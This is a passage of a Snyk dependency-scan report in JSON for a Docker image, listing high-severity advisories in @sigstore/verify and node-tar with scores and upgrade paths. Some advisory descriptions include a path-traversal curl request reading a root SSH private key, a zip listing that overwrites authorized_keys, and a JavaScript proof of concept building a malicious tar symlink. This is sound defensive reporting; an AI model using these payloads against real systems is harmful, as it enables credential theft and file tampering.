"@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "@sigstore/verify", "version": "3.1.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "@sigstore/verify", "version": "3.1.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "tar", "version": "7.5.9", "severityWithCritical": "high" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "tar", "version": "7.5.9", "severityWithCritical": "high" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "tar", "version": "7.5.9", "severityWithCritical": "high" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "tar", "version": "7.5.9", "severityWithCritical": "high" } ], "upgrade": {}, "patch": {}, "ignore": {}, "pin": {} }, "filesystemPolicy": false, "filtered": { "ignore": [], "patch": [] }, "uniqueCount": 16, "targetFile": "/usr/lib/node_modules", "projectName": "lib", "displayTargetFile": "/usr/lib/node_modules", "hasUnknownVersions": false, "path": "docker.io/scopear/iot-simulator:1.0.12_a18cd9a.162" } ] }